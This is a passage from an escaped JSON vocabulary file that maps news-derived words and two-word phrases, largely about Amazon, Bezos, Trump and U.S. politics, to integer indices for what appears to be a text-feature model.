\"disclose custody\": 135242,\n  \"outlines\": 135243,\n  \"gateway\": 135244,\n  \"soon omers\": 135245,\n  \"hoft amazon\": 135246,\n  \"lose sleep\": 135247,\n  \"self righteous\": 135248,\n  \"strong chance\": 135249,\n  \"knicks\": 135250,\n  \"rates fall\": 135251,\n  \"young warren\": 135252,\n  \"primarily attributable\": 135253,\n  \"departures senate\": 135254,\n  \"employees deliver\": 135255,\n  \"groveling\": 135256,\n  \"pozzebom\": 135257,\n  \"condition violations\": 135258,\n  \"digital forensic\": 135259,\n  \"lurch\": 135260,\n  \"david lazarus\": 135261,\n  \"fiance glitch\": 135262,\n  \"worth gettinghit\": 135263,\n  \"sanders isn\": 135264,\n  \"leaving amazon\": 135265,\n  \"employees turned\": 135266,\n  \"traditional targets\": 135267,\n  \"utm_source feedburner\": 135268,\n  \"hoax reveals\": 135269,\n  \"proposed hikes\": 135270,\n  \"litigate\": 135271,\n  \"pancetta\": 135272,\n  \"finding homes\": 135273,\n  \"trump hire\": 135274,\n  \"cautious view\": 135275,\n  \"deliveries early\": 135276,\n  \"queens miller\": 135277,\n  \"evaluating options\": 135278,\n  \"maria good\": 135279,\n  \"modernizr\": 135280,\n  \"online ordered\": 135281,\n  \"2018 perfect\": 135282,\n  \"council told\": 135283,\n  \"considered increasing\": 135284,\n  \"drain swamp\": 135285,\n  \"evidence mounts\": 135286,\n  \"date hereof\": 135287,\n  \"markets\": 135288,\n  \"wnd reported\": 135289,\n  \"industry linked\": 135290,\n  \"kit kat\": 135291,\n  \"voided\": 135292,\n  \"wealthy avoid\": 135293,\n  \"rie bloomberg\": 135294,\n  \"left southern\": 135295,\n  \"times record\": 135296,\n  \"huge competitive\": 135297,\n  \"clothes tend\": 135298,\n  \"buy time\": 135299,\n  \"000 neil\": 135300,\n  \"promoting national\": 135301,\n  \"aaron eckhart\": 135302,\n  \"figure saw\": 135303,\n  \"massive development\": 135304,\n  \"consult\": 135305,\n  \"untold destruction\": 135306,\n  \"court public\": 135307,\n  \"fake dirty\": 135308,\n  \"rated photos\": 135309,\n  \"wants permission\": 135310,\n  \"bezos cooperate\": 135311,\n  \"memory piece\": 135312,\n  \"initial travel\": 135313,\n  \"criticizing boeing\": 135314,\n  \"food petco\": 135315,\n  \"madrona geekwire\": 135316,\n  \"retrofitting\": 135317,\n  \"sustain mass\": 135318,\n  \"high rainfall\": 135319,\n  \"leaders meet\": 135320,\n  \"twitter minions\": 135321,\n  \"isvideoreplayclicked muteplayerenabled\": 135322,\n  \"logo stamped\": 135323,\n  \"counsel ken\": 135324,\n  \"strand owner\": 135325,\n  \"accusations morph\": 135326,\n  \"reprogram money\": 135327,\n  \"indigenous rice\": 135328,\n  \"ami targeting\": 135329,\n  \"girlfriend amazon\": 135330,\n  \"councillor\": 135331,\n  \"cloud contracting\": 135332,\n  \"baptist convention\": 135333,\n  \"illinois state\": 135334,\n  \"earlier abha\": 135335,\n  \"businesses ping\": 135336,\n  \"sweats waterproof\": 135337,\n  \"alaniz\": 135338,\n  \"molesting children\": 135339,\n  \"kennedy singular\": 135340,\n  \"pce\": 135341,\n  \"immortal devil\": 135342,\n  \"increased revenues\": 135343,\n  \"upcoming book\": 135344,\n  \"marketing agency\": 135345,\n  \"47m\": 135346,\n  \"2019 elkan\": 135347,\n  \"news partner\": 135348,\n  \"exchange price\": 135349,\n  \"great grandmother\": 135350,\n  \"offensive\": 135351,\n  \"hired lobbyist\": 135352,\n  \"route linking\": 135353,\n  \"permitting fake\": 135354,\n  \"walmart continues\": 135355,\n  \"fink costco\": 135356,\n  \"says trump\": 135357,\n  \"arrests began\": 135358,\n  \"bridesmaid\": 135359,\n  \"states enact\": 135360,\n  \"merriam\": 135361,\n  \"vindictive president\": 135362,\n  \"box retailer\": 135363,\n  \"hot new\": 135364,\n  \"undefined\": 135365,\n  \"amazon released\": 135366,\n  \"element owl\": 135367,\n  \"nyc democratic\": 135368,\n  \"girls\": 135369,\n  \"explain things\": 135370,\n  \"sent joint\": 135371,\n  \"deloitte priya\": 135372,\n  \"discontinuing\": 135373,\n  \"replace retiring\": 135374,\n  \"proposal requesting\": 135375,\n  \"trust print\": 135376,\n  \"investing personal\": 135377,\n  \"hannity called\": 135378,\n  \"includinghis finances\": 135379,\n  \"jimenez\": 135380,\n  \"paris agus\": 135381,\n  \"washington swamp\": 135382,\n  \"staffers earn\": 135383,\n  \"slowing\": 135384,\n  \"certificate amazon\": 135385,\n  \"184 funds\": 135386,\n  \"s\\u00e1nchez days\": 135387,\n  \"service delivered\": 135388,\n  \"lynching\": 135389,\n  \"chains scion\": 135390,\n  \"amazon individually\": 135391,\n  \"delivery method\": 135392,\n  \"latest gambit\": 135393,\n  \"dc ec\": 135394,\n  \"boasts positive\": 135395,\n  \"query make\": 135396,\n  \"2019 lot\": 135397,\n  \"2f\": 135398,\n  \"67x\": 135399,\n  \"providing local\": 135400,\n  \"experienced national\": 135401,\n  \"pie\": 135402,\n  \"read jorg\": 135403,\n  \"cancel plans\": 135404,\n  \"teachers union\": 135405,\n  \"privacy nightmare\": 135406,\n  \"statement sanders\": 135407,\n  \"upbeat divorce\": 135408,\n  \"em want\": 135409,\n  \"shares forte\": 135410,\n  \"shipped amazon\": 135411,\n  \"dr odd\": 135412,\n  \"curve showing\": 135413,\n  \"assistant app\": 135414,\n  \"jpg 1270x734\": 135415,\n  \"rodney\": 135416,\n  \"woman told\": 135417,\n  \"provided explicit\": 135418,\n  \"newscms\": 135419,\n  \"anticipation amazon\": 135420,\n  \"1iq5vw0 videotitledivid\": 135421,\n  \"null window\": 135422,\n  \"amazon primeair\": 135423,\n  \"white man\": 135424,\n  \"deal white\": 135425,\n  \"group hadn\": 135426,\n  \"certain areas\": 135427,\n  \"ami chairman\": 135428,\n  \"hoosick falls\": 135429,\n  \"wsj navarro\": 135430,\n  \"perfect lives\": 135431,\n  \"fubotv showtime\": 135432,\n  \"jonathanvswan\": 135433,\n  \"small community\": 135434,\n  \"circumstances externally\": 135435,\n  \"trump perceives\": 135436,\n  \"brothers trumpism\": 135437,\n  \"meyers\": 135438,\n  \"national general\": 135439,\n  \"private text\": 135440,\n  \"2012 2016\": 135441,\n  \"work mice\": 135442,\n  \"records pertaining\": 135443,\n  \"trademark trial\": 135444,\n  \"says navarro\": 135445,\n  \"reparations\": 135446,\n  \"hq trump\": 135447,\n  \"company shocked\": 135448,\n  \"cbs website\": 135449,\n  \"overturned 1992\": 135450,\n  \"brazilian far\": 135451,\n  \"house netflix\": 135452,\n  \"news reps\": 135453,\n  \"little katy\": 135454,\n  \"politico samantha\": 135455,\n  \"abuse services\": 135456,\n  \"boy amazon\": 135457,\n  \"piketty author\": 135458,\n  \"swosh nke\": 135459,\n  \"threatened legislation\": 135460,\n  \"635x367\": 135461,\n  \"schlage smart\": 135462,\n  \"examiner concluded\": 135463,\n  \"latest jeff\": 135464,\n  \"536 gas\": 135465,\n  \"world export\": 135466,\n  \"mp johnmcdonnellmp\": 135467,\n  \"costing\": 135468,\n  \"nungesser photograph\": 135469,\n  \"ninth flight\": 135470,\n  \"shawn dixon\": 135471,\n  \"army caterpillar\": 135472,\n  \"class jobs\": 135473,\n  \"dynamics add\": 135474,\n  \"violent predator\": 135475,\n  \"tumble gold\": 135476,\n  \"discovered amazon\": 135477,\n  \"travel toothbrushes\": 135478,\n  \"various forms\": 135479,\n  \"highly political\": 135480,\n  \"erroneously calling\": 135481,\n  \"limited engagement\": 135482,\n  \"things ami\": 135483,\n  \"york fight\": 135484,\n  \"created backlash\": 135485,\n  \"companies continue\": 135486,\n  \"wme\": 135487,\n  \"downsize boston\": 135488,\n  \"global recruitment\": 135489,\n  \"qualcomm dropping\": 135490,\n  \"satya nadella\": 135491,\n  \"directing federal\": 135492,\n  \"original host\": 135493,\n  \"await yelp\": 135494,\n  \"grom\": 135495,\n  \"cloud software\": 135496,\n  \"normal business\": 135497,\n  \"john binder\": 135498,\n  \"phoenix police\": 135499,\n  \"2018 unhinged\": 135500,\n  \"million loan\": 135501,\n  \"moves\": 135502,\n  \"reality says\": 135503,\n  \"alberg venture\": 135504,\n  \"clich\\u00e9d\": 135505,\n  \"blume mgmt\": 135506,\n  \"aws definitely\": 135507,\n  \"alleged lover\": 135508,\n  \"term problem\": 135509,\n  \"texts obtained\": 135510,\n  \"explains\": 135511,\n  \"encouraging banks\": 135512,\n  \"accomplish rudy\": 135513,\n  \"deruiter\": 135514,\n  \"man accused\": 135515,\n  \"podcast serial\": 135516,\n  \"city headquarters\": 135517,\n  \"chasmar 567k\": 135518,\n  \"old virgin\": 135519,\n  \"forcing students\": 135520,\n  \"1972 republican\": 135521,\n  \"sega\": 135522,\n  \"communications officer\": 135523,\n  \"friends mackenzie\": 135524,\n  \"office problems\": 135525,\n  \"alleges trump\": 135526,\n  \"twist\": 135527,\n  \"allegedly robbing\": 135528,\n  \"amazon departure\": 135529,\n  \"458 billion\": 135530,\n  \"constitutional representation\": 135531,\n  \"maxsa cost\": 135532,\n  \"shareholder\": 135533,\n  \"problematic\": 135534,\n  \"die think\": 135535,\n  \"long rates\": 135536,\n  \"congressman thank\": 135537,\n  \"allows comparison\": 135538,\n  \"outsized\": 135539,\n  \"results rigged\": 135540,\n  \"hide negative\": 135541,\n  \"represented votes\": 135542,\n  \"calf\": 135543,\n  \"winning electoral\": 135544,\n  \"second north\": 135545,\n  \"hypersonic\": 135546,\n  \"ctc\": 135547,\n  \"tiffany posted\": 135548,\n  \"journal katie\": 135549,\n  \"harsh truth\": 135550,\n  \"risk investigations\": 135551,\n  \"katz new\": 135552,\n  \"aided bnsf\": 135553,\n  \"inexplicably unloaded\": 135554,\n  \"ultimatums\": 135555,\n  \"tel aviv\": 135556,\n  \"allegations rosenstein\": 135557,\n  \"think unless\": 135558,\n  \"bhagavad gita\": 135559,\n  \"launch london\": 135560,\n  \"sap xe\": 135561,\n  \"national question\": 135562,\n  \"vote ramesh\": 135563,\n  \"pacifica radio\": 135564,\n  \"dividend\": 135565,\n  \"selyukh hq2\": 135566,\n  \"conclusive\": 135567,\n  \"wavered\": 135568,\n  \"churches\": 135569,\n  \"cnnnext dam\": 135570,\n  \"pays taxes\": 135571,\n  \"winners foto\": 135572,\n  \"student visas\": 135573,\n  \"everybody brewer\": 135574,\n  \"sep 2017\": 135575,\n  \"surprising shift\": 135576,\n  \"andrea stewart\": 135577,\n  \"driver cross\": 135578,\n  \"ur energy\": 135579,\n  \"kissing\": 135580,\n  \"gounardes\": 135581,\n  \"term secretary\": 135582,\n  \"damning story\": 135583,\n  \"stage negotiations\": 135584,\n  \"scottie nell\": 135585,\n  \"postal agency\": 135586,\n  \"exempts\": 135587,\n  \"isn ripping\": 135588,\n  \"win big\": 135589,\n  \"trump friendly\": 135590,\n  \"junk insurance\": 135591,\n  \"amazon spending\": 135592,\n  \"customised marketing\": 135593,\n  \"trophy\": 135594,\n  \"trust concerns\": 135595,\n  \"euro based\": 135596,\n  \"care deliberation\": 135597,\n  \"gamers graphic\": 135598,\n  \"alteration\": 135599,\n  \"470 billion\": 135600,\n  \"online privacy\": 135601,\n  \"markupid videoid\": 135602,\n  \"amazon pharmaceuticals\": 135603,\n  \"leslie nadine\": 135604,\n  \"washington based\": 135605,\n  \"unhealthily\": 135606,\n  \"rate shipping\": 135607,\n  \"approached anybody\": 135608,\n  \"added asked\": 135609,\n  \"perioden\": 135610,\n  \"puts focus\": 135611,\n  \"wtr presents\": 135612,\n  \"diet myths\": 135613,\n  \"correctly price\": 135614,\n  \"prosecutors announced\": 135615,\n  \"live photos\": 135616,\n  \"irish border\": 135617,\n  \"challenge cisco\": 135618,\n  \"hottest strategies\": 135619,\n  \"day drug\": 135620,\n  \"agent\": 135621,\n  \"orca encounter\": 135622,\n  \"fernandes\": 135623,\n  \"unsuccessful filmmaker\": 135624,\n  \"recently reached\": 135625,\n  \"union busting\": 135626,\n  \"area photo\": 135627,\n  \"treasury\": 135628,\n  \"names including\": 135629,\n  \"outlet pj\": 135630,\n  \"make everyday\": 135631,\n  \"opposites don\": 135632,\n  \"networking real\": 135633,\n  \"briefs\": 135634,\n  \"steve west\": 135635,\n  \"gotti nyc\": 135636,\n  \"territory\": 135637,\n  \"cracker\": 135638,\n  \"quarters\": 135639,\n  \"updatecode\": 135640,\n  \"ajit\": 135641,\n  \"divides bind\": 135642,\n  \"prentice talks\": 135643,\n  \"iq 100\": 135644,\n  \"worked fine\": 135645,\n  \"costco card\": 135646,\n  \"deputy press\": 135647,\n  \"left hundreds\": 135648,\n  \"govt order\": 135649,\n  \"strongmen\": 135650,\n  \"briefly stopped\": 135651,\n  \"staples sue\": 135652,\n  \"genoa bridge\": 135653,\n  \"breaks leads\": 135654,\n  \"shipping network\": 135655,\n  \"heavyweights\": 135656,\n  \"hardest\": 135657,\n  \"certain\": 135658,\n  \"department adriana\": 135659,\n  \"socialist\": 135660,\n  \"suze\": 135661,\n  \"backstory\": 135662,\n  \"worth donald\": 135663,\n  \"rep janssen\": 135664,\n  \"jc penney\": 135665,\n  \"page tom\": 135666,\n  \"recently moved\": 135667,\n  \"amazon cazzioii\": 135668,\n  \"wrenching images\": 135669,\n  \"protein powder\": 135670,\n  \"photo getty\": 135671,\n  \"clifton\": 135672,\n  \"sanchez months\": 135673,\n  \"weblog publish\": 135674,\n  \"northwestern mutual\": 135675,\n  \"did tell\": 135676,\n  \"amazon woul\": 135677,\n  \"upped\": 135678,\n  \"told patrick\": 135679,\n  \"alienate democrats\": 135680,\n  \"firms violated\": 135681,\n  \"mexico economy\": 135682,\n  \"svc enterprise\": 135683,\n  \"important reporter\": 135684,\n  \"wsj\": 135685,\n  \"ami avoided\": 135686,\n  \"protection headquarters\": 135687,\n  \"stay flexible\": 135688,\n  \"dockless\": 135689,\n  \"des moines\": 135690,\n  \"general double\": 135691,\n  \"saying theodore\": 135692,\n  \"treats companies\": 135693,\n  \"constrained autonomy\": 135694,\n  \"pay scales\": 135695,\n  \"qualified\": 135696,\n  \"pam\": 135697,\n  \"vanderhoof\": 135698,\n  \"followin\": 135699,\n  \"pay lot\": 135700,\n  \"insure\": 135701,\n  \"facing years\": 135702,\n  \"apple say\": 135703,\n  \"passenger didi\": 135704,\n  \"wince\": 135705,\n  \"tactics matt\": 135706,\n  \"fireside chats\": 135707,\n  \"notechforicehttps\": 135708,\n  \"develop code\": 135709,\n  \"ceo faces\": 135710,\n  \"fedora\": 135711,\n  \"reportedly zeroed\": 135712,\n  \"hastening human\": 135713,\n  \"1_5 ad\": 135714,\n  \"fisa\": 135715,\n  \"post notes\": 135716,\n  \"attacks haven\": 135717,\n  \"1on8bqw\": 135718,\n  \"sweatshirts\": 135719,\n  \"2021\": 135720,\n  \"arrogance trump\": 135721,\n  \"amazon adopted\": 135722,\n  \"similar trump\": 135723,\n  \"forbes current\": 135724,\n  \"trust violations\": 135725,\n  \"demand particularly\": 135726,\n  \"having good\": 135727,\n  \"hellman\": 135728,\n  \"mike miller\": 135729,\n  \"impact conducted\": 135730,\n  \"revenue\": 135731,\n  \"beating croatia\": 135732,\n  \"secret service\": 135733,\n  \"economists earlier\": 135734,\n  \"noticed china\": 135735,\n  \"justice related\": 135736,\n  \"group publications\": 135737,\n  \"warehouses thousands\": 135738,\n  \"presidential coverage\": 135739,\n  \"socialist senator\": 135740,\n  \"safety rules\": 135741,\n  \"infused neorealism\": 135742,\n  \"inside look\": 135743,\n  \"hartsfield\": 135744,\n  \"actually paid\": 135745,\n  \"work underneath\": 135746,\n  \"loses comeback\": 135747,\n  \"animal control\": 135748,\n  \"gripping novel\": 135749,\n  \"cloud ives\": 135750,\n  \"adding fuel\": 135751,\n  \"mean early\": 135752,\n  \"medicine telling\": 135753,\n  \"initial expectations\": 135754,\n  \"furnishings internet\": 135755,\n  \"space bezos\": 135756,\n  \"excluding metapack\": 135757,\n  \"queenschronicle\": 135758,\n  \"question similarly\": 135759,\n  \"unlawful acts\": 135760,\n  \"playing trump\": 135761,\n  \"oxymoronic katherine\": 135762,\n  \"discuss commerce\": 135763,\n  \"bahamas\": 135764,\n  \"device marks\": 135765,\n  \"cortez stance\": 135766,\n  \"free rein\": 135767,\n  \"reported wapo\": 135768,\n  \"companies large\": 135769,\n  \"focused cooking\": 135770,\n  \"foreclosure process\": 135771,\n  \"wealthfront betterment\": 135772,\n  \"gmb members\": 135773,\n  \"online lives\": 135774,\n  \"buying chukumba\": 135775,\n  \"o2x a4ee\": 135776,\n  \"human embryonic\": 135777,\n  \"jacquelyn martin\": 135778,\n  \"toll coming\": 135779,\n  \"publish selfies\": 135780,\n  \"extremist groups\": 135781,\n  \"charm\": 135782,\n  \"2019 charlie\": 135783,\n  \"cuellar texas\": 135784,\n  \"human colonies\": 135785,\n  \"divisions amazon\": 135786,\n  \"union goog\": 135787,\n  \"wearing anti\": 135788,\n  \"picture jeff\": 135789,\n  \"speed bump\": 135790,\n  \"psychological addiction\": 135791,\n  \"received donations\": 135792,\n  \"overlooks\": 135793,\n  \"launched apps\": 135794,\n  \"heavy lift\": 135795,\n  \"manipulating components\": 135796,\n  \"doom\": 135797,\n  \"arena\": 135798,\n  \"chicha koeswoyo\": 135799,\n  \"actor brad\": 135800,\n  \"queens hq2scam\": 135801,\n  \"power structure\": 135802,\n  \"hollywood companies\": 135803,\n  \"trip versus\": 135804,\n  \"tiny israeli\": 135805,\n  \"ceneta\": 135806,\n  \"fbi shouldinvestigate\": 135807,\n  \"joke lives\": 135808,\n  \"centralization\": 135809,\n  \"distribution stores\": 135810,\n  \"dorms\": 135811,\n  \"pay state\": 135812,\n  \"tariffs loom\": 135813,\n  \"brexit minister\": 135814,\n  \"year sales\": 135815,\n  \"afp amazon\": 135816,\n  \"greenberg offered\": 135817,\n  \"similar criticisms\": 135818,\n  \"cyclist\": 135819,\n  \"insurance alexa\": 135820,\n  \"dc whichever\": 135821,\n  \"rosenberg jeff\": 135822,\n  \"week obligation\": 135823,\n  \"francisco headquarters\": 135824,\n  \"deporting\": 135825,\n  \"start charging\": 135826,\n  \"effectively subsidized\": 135827,\n  \"jessica valenti\": 135828,\n  \"expressed solidarity\": 135829,\n  \"poorer schools\": 135830,\n  \"time confirming\": 135831,\n  \"bezos pressured\": 135832,\n  \"authoritarian surveillance\": 135833,\n  \"publishing needle\": 135834,\n  \"fb amzn\": 135835,\n  \"prior administrations\": 135836,\n  \"weighed average\": 135837,\n  \"risk customers\": 135838,\n  \"competition decreased\": 135839,\n  \"yesterday sank\": 135840,\n  \"just reduced\": 135841,\n  \"told euractiv\": 135842,\n  \"trump tweeting\": 135843,\n  \"________________________\": 135844,\n  \"stance fearless\": 135845,\n  \"story bezos\": 135846,\n  \"commerce vendors\": 135847,\n  \"statewide rate\": 135848,\n  \"school indicated\": 135849,\n  \"hijacking\": 135850,\n  \"grocery sector\": 135851,\n  \"rung\": 135852,\n  \"year facebook\": 135853,\n  \"amazon music\": 135854,\n  \"increased investments\": 135855,\n  \"jeff mackenzie\": 135856,\n  \"outsmarted\": 135857,\n  \"longtime covert\": 135858,\n  \"calls fulfillment\": 135859,\n  \"fantasized\": 135860,\n  \"authority managers\": 135861,\n  \"repeatedly beaten\": 135862,\n  \"detained mexican\": 135863,\n  \"login\": 135864,\n  \"trump celebrated\": 135865,\n  \"serial shooting\": 135866,\n  \"monstrous corporate\": 135867,\n  \"day payments\": 135868,\n  \"nicknamed rubi\": 135869,\n  \"colorado fedscoop\": 135870,\n  \"teva\": 135871,\n  \"following personal\": 135872,\n  \"memo criticizing\": 135873,\n  \"thatwe\": 135874,\n  \"times exclusive\": 135875,\n  \"computer drive\": 135876,\n  \"large media_0\": 135877,\n  \"sculptures\": 135878,\n  \"earhardt\": 135879,\n  \"communities recover\": 135880,\n  \"unfiltered\": 135881,\n  \"partisan message\": 135882,\n  \"originalimageurl\": 135883,\n  \"positive star\": 135884,\n  \"850 words\": 135885,\n  \"president don\": 135886,\n  \"globe\": 135887,\n  \"pension\": 135888,\n  \"brennan reassurances\": 135889,\n  \"creates clean\": 135890,\n  \"madea character\": 135891,\n  \"page news\": 135892,\n  \"steal merchants\": 135893,\n  \"stores imagine\": 135894,\n  \"marked increase\": 135895,\n  \"took swings\": 135896,\n  \"oversight filed\": 135897,\n  \"invaded\": 135898,\n  \"reason unknown\": 135899,\n  \"tissue papers\": 135900,\n  \"lorry queues\": 135901,\n  \"simply tell\": 135902,\n  \"involving story\": 135903,\n  \"democratic chairman\": 135904,\n  \"mxhrafnf2k national\": 135905,\n  \"means anymore\": 135906,\n  \"staircase\": 135907,\n  \"named diana\": 135908,\n  \"044\": 135909,\n  \"worker political\": 135910,\n  \"regulation washington\": 135911,\n  \"spouses children\": 135912,\n  \"jennifer\": 135913,\n  \"office sanders\": 135914,\n  \"dysfunctional administration\": 135915,\n  \"contract amazon\": 135916,\n  \"trump fox\": 135917,\n  \"rathner nerdwallet\": 135918,\n  \"hour data\": 135919,\n  \"flavours\": 135920,\n  \"buzzfeed trump\": 135921,\n  \"jinping investors\": 135922,\n  \"diary 2018\": 135923,\n  \"stewart firebrand\": 135924,\n  \"directly operate\": 135925,\n  \"enduring american\": 135926,\n  \"truly motivated\": 135927,\n  \"positions rightist\": 135928,\n  \"politicon\": 135929,\n  \"street microscope\": 135930,\n  \"meeks wireless\": 135931,\n  \"q6\": 135932,\n  \"conservatives haven\": 135933,\n  \"load\": 135934,\n  \"sciences nyt\": 135935,\n  \"news services\": 135936,\n  \"visitors mailonline\": 135937,\n  \"commercial interests\": 135938,\n  \"firm noted\": 135939,\n  \"economy steve\": 135940,\n  \"heres\": 135941,\n  \"company takes\": 135942,\n  \"amazon lure\": 135943,\n  \"senatemajldr say\": 135944,\n  \"rudderless\": 135945,\n  \"politics france\": 135946,\n  \"summary states\": 135947,\n  \"biological immutable\": 135948,\n  \"love newsletter\": 135949,\n  \"jeans sagging\": 135950,\n  \"frequently targeted\": 135951,\n  \"far identified\": 135952,\n  \"moon bay\": 135953,\n  \"spent years\": 135954,\n  \"racism exists\": 135955,\n  \"sundaythoughts christmasiscoming\": 135956,\n  \"imposing record\": 135957,\n  \"daughter teal\": 135958,\n  \"retailers\": 135959,\n  \"harshest\": 135960,\n  \"market watch\": 135961,\n  \"provincialism isn\": 135962,\n  \"bzwidgets null\": 135963,\n  \"msft alphabet\": 135964,\n  \"doing away\": 135965,\n  \"gotten bullish\": 135966,\n  \"compressed trump\": 135967,\n  \"local policy\": 135968,\n  \"craziest campaign\": 135969,\n  \"concerts\": 135970,\n  \"cracked\": 135971,\n  \"florida state\": 135972,\n  \"celebrity gossip\": 135973,\n  \"fight democrats\": 135974,\n  \"pushing fringe\": 135975,\n  \"general morgan\": 135976,\n  \"helaunched\": 135977,\n  \"trump favorably\": 135978,\n  \"ride later\": 135979,\n  \"data description\": 135980,\n  \"cold reception\": 135981,\n  \"afp pic\": 135982,\n  \"balding\": 135983,\n  \"families depend\": 135984,\n  \"appearance mair\": 135985,\n  \"viewing knocked\": 135986,\n  \"resembles library\": 135987,\n  \"told yahoo\": 135988,\n  \"quarter glenview\": 135989,\n  \"ingredients food\": 135990,\n  \"united statessenate\": 135991,\n  \"penkala buffalo\": 135992,\n  \"mother realize\": 135993,\n  \"way apollo\": 135994,\n  \"properly sourced\": 135995,\n  \"infringes\": 135996,\n  \"higher labor\": 135997,\n  \"contract finally\": 135998,\n  \"providing cloud\": 135999,\n  \"field specialists\": 136000,\n  \"election company\": 136001,\n  \"billion unless\": 136002,\n  \"agency spends\": 136003,\n  \"sanchez regret\": 136004,\n  \"entitlement\": 136005,\n  \"shared thoughts\": 136006,\n  \"sessions left\": 136007,\n  \"tobacco products\": 136008,\n  \"hours ago\": 136009,\n  \"lending hand\": 136010,\n  \"reasons having\": 136011,\n  \"secretary henry\": 136012,\n  \"latest tech\": 136013,\n  \"obscured\": 136014,\n  \"usb cables\": 136015,\n  \"deal\": 136016,\n  \"homepage\": 136017,\n  \"future data\": 136018,\n  \"shagmobile\": 136019,\n  \"suppressed senate\": 136020,\n  \"bit bartiromo\": 136021,\n  \"prime hangout\": 136022,\n  \"talking sculpture\": 136023,\n  \"culminates painstaking\": 136024,\n  \"calgaryherald\": 136025,\n  \"steph\": 136026,\n  \"trump press\": 136027,\n  \"suit says\": 136028,\n  \"latest india\": 136029,\n  \"caravan moves\": 136030,\n  \"just trolling\": 136031,\n  \"rebounds\": 136032,\n  \"time seasonal\": 136033,\n  \"server room\": 136034,\n  \"2018 pregnancy\": 136035,\n  \"cloud agreement\": 136036,\n  \"reassures region\": 136037,\n  \"die netflix\": 136038,\n  \"parents bezos\": 136039,\n  \"reassignments\": 136040,\n  \"imagealt\": 136041,\n  \"doris kearns\": 136042,\n  \"hundreds week\": 136043,\n  \"question involve\": 136044,\n  \"jeremy barr\": 136045,\n  \"veteran technology\": 136046,\n  \"concerned alumni\": 136047,\n  \"2018plenty\": 136048,\n  \"sytle\": 136049,\n  \"paw\": 136050,\n  \"article suicide\": 136051,\n  \"2013 federal\": 136052,\n  \"reimposes\": 136053,\n  \"sticker sparks\": 136054,\n  \"howmuchcanwelosethisyear endcorporatewelfare\": 136055,\n  \"dominate washington\": 136056,\n  \"admits\": 136057,\n  \"mid 2018\": 136058,\n  \"administration florida\": 136059,\n  \"rzyqq6yuek new\": 136060,\n  \"follow gothamist\": 136061,\n  \"deputy leader\": 136062,\n  \"tough sanctions\": 136063,\n  \"partial glimpse\": 136064,\n  \"global recession\": 136065,\n  \"lead efforts\": 136066,\n  \"hasn heeded\": 136067,\n  \"deap\": 136068,\n  \"frank rollback\": 136069,\n  \"sad\": 136070,\n  \"trumps article37723967\": 136071,\n  \"prime business\": 136072,\n  \"newsroom leonard\": 136073,\n  \"beacon notes\": 136074,\n  \"revenue source\": 136075,\n  \"obamagatespyscandal\": 136076,\n  \"activist thank\": 136077,\n  \"based writer\": 136078,\n  \"providing great\": 136079,\n  \"super hub\": 136080,\n  \"lower katherine\": 136081,\n  \"vitriolic comments\": 136082,\n  \"tax cuts\": 136083,\n  \"exxon\": 136084,\n  \"ubhi\": 136085,\n  \"financial problems\": 136086,\n  \"emailed request\": 136087,\n  \"2019 involve\": 136088,\n  \"american political\": 136089,\n  \"corporate arrogance\": 136090,\n  \"turnaround plan\": 136091,\n  \"clark branding\": 136092,\n  \"research center\": 136093,\n  \"threats posed\": 136094,\n  \"twitter urge\": 136095,\n  \"horror series\": 136096,\n  \"proposed change\": 136097,\n  \"sepulcher\": 136098,\n  \"ulrich strengthen\": 136099,\n  \"named floyd\": 136100,\n  \"borrow invest\": 136101,\n  \"strict time\": 136102,\n  \"draft release\": 136103,\n  \"tax dodges\": 136104,\n  \"itep reckons\": 136105,\n  \"infestitation\": 136106,\n  \"generated hot\": 136107,\n  \"provide downward\": 136108,\n  \"planning cnn\": 136109,\n  \"volume increased\": 136110,\n  \"fee\": 136111,\n  \"dog\": 136112,\n  \"ex trump\": 136113,\n  \"does microsoft\": 136114,\n  \"usps cash\": 136115,\n  \"niet\": 136116,\n  \"surrealist work\": 136117,\n  \"summer shows\": 136118,\n  \"royal\": 136119,\n  \"reuters tv\": 136120,\n  \"mercenary types\": 136121,\n  \"franchises\": 136122,\n  \"big\": 136123,\n  \"sensationalist headlines\": 136124,\n  \"detainees people\": 136125,\n  \"wait john\": 136126,\n  \"better obviously\": 136127,\n  \"named\": 136128,\n  \"red lion\": 136129,\n  \"emerging site\": 136130,\n  \"line numbers\": 136131,\n  \"leave town\": 136132,\n  \"conspiracy theory\": 136133,\n  \"red satin\": 136134,\n  \"manager slammed\": 136135,\n  \"related twitter\": 136136,\n  \"troubling anti\": 136137,\n  \"jobless\": 136138,\n  \"federal spending\": 136139,\n  \"confirmation email\": 136140,\n  \"announced 100\": 136141,\n  \"publication chooses\": 136142,\n  \"people saw\": 136143,\n  \"stock buying\": 136144,\n  \"operations costs\": 136145,\n  \"lacked\": 136146,\n  \"equation\": 136147,\n  \"nafta dea\": 136148,\n  \"social problems\": 136149,\n  \"provide cooperation\": 136150,\n  \"expend\": 136151,\n  \"society supporters\": 136152,\n  \"pledges skills\": 136153,\n  \"super cut\": 136154,\n  \"fleischer\": 136155,\n  \"rupaul\": 136156,\n  \"obvious given\": 136157,\n  \"agent verify\": 136158,\n  \"meteoric growth\": 136159,\n  \"pro tablet\": 136160,\n  \"happen bezos\": 136161,\n  \"infotainment\": 136162,\n  \"travelling\": 136163,\n  \"pulling facebook\": 136164,\n  \"publicly available\": 136165,\n  \"cartel laws\": 136166,\n  \"maker birkenstock\": 136167,\n  \"president justice\": 136168,\n  \"tracee\": 136169,\n  \"gamble vice\": 136170,\n  \"ice bookshelves\": 136171,\n  \"trump giving\": 136172,\n  \"lf3\": 136173,\n  \"blaze\": 136174,\n  \"intellectually gifted\": 136175,\n  \"condensed\": 136176,\n  \"iq travel\": 136177,\n  \"injunction photo\": 136178,\n  \"cfo\": 136179,\n  \"months actually\": 136180,\n  \"reporting big\": 136181,\n  \"inclusive design\": 136182,\n  \"high market\": 136183,\n  \"cold overnight\": 136184,\n  \"advisor colleen\": 136185,\n  \"broader pattern\": 136186,\n  \"america argued\": 136187,\n  \"global economy\": 136188,\n  \"scott putting\": 136189,\n  \"salt lake\": 136190,\n  \"analyst pipe\": 136191,\n  \"demand anytime\": 136192,\n  \"companies 2018\": 136193,\n  \"business run\": 136194,\n  \"retail sell\": 136195,\n  \"water treatment\": 136196,\n  \"marketwatch house\": 136197,\n  \"absolute worst\": 136198,\n  \"growth bradley\": 136199,\n  \"washington analysis\": 136200,\n  \"formally announced\": 136201,\n  \"expense centered\": 136202,\n  \"trademark management\": 136203,\n  \"puzder\": 136204,\n  \"respect image\": 136205,\n  \"gives europe\": 136206,\n  \"lightfoot reflects\": 136207,\n  \"approach featured\": 136208,\n  \"italy 